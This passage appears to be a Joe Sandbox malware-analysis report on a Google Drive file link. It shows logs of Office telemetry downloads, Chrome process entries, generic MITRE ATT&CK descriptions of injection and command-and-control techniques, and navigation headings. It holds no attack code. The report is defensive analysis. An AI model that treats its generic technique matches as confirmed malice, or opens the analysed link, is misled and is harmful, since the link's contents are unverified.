DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49951	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:41 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:41 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:41 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 931c766e-f01e-0099-5ba8-349171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194341Z-1749fc9bdbd4dqj6hC1DFWr4n4000000031000000000dmy7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:41 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49952	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:41 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:42 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:41 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 31687d69-501e-0078-1604-3606cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194341Z-1749fc9bdbdjgplnhC1DFWhrks00000002tg00000000nnsw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:42 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49943	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:42 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:42 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:42 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 0f1e6d84-801e-007b-5baf-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194342Z-1749fc9bdbdht5mthC1DFWph90000000034g000000007c88 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:42 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Target ID:	0
Start time:	14:42:22
Start date:	14/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	14:42:26
Start date:	14/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=2024,i,89041353937913942,10148177902654857106,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	14:42:28
Start date:	14/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://drive.google.com/file/d/11kk4glvCJRDeJ3XhdemRR_FFW8tGlSei/view?usp=sharing_eip&ts=67364a0b"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://drive.google.com/file/d/11kk4glvCJRDeJ3XhdemRR_FFW8tGlSei/view?usp=sharing_eip&ts=67364a0b

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 121

Chrome Cache Entry: 122

Chrome Cache Entry: 123

Chrome Cache Entry: 124

Chrome Cache Entry: 125

Chrome Cache Entry: 126

Chrome Cache Entry: 127

Windows Analysis Report
https://drive.google.com/file/d/11kk4glvCJRDeJ3XhdemRR_FFW8tGlSei/view?usp=sharing_eip&ts=67364a0b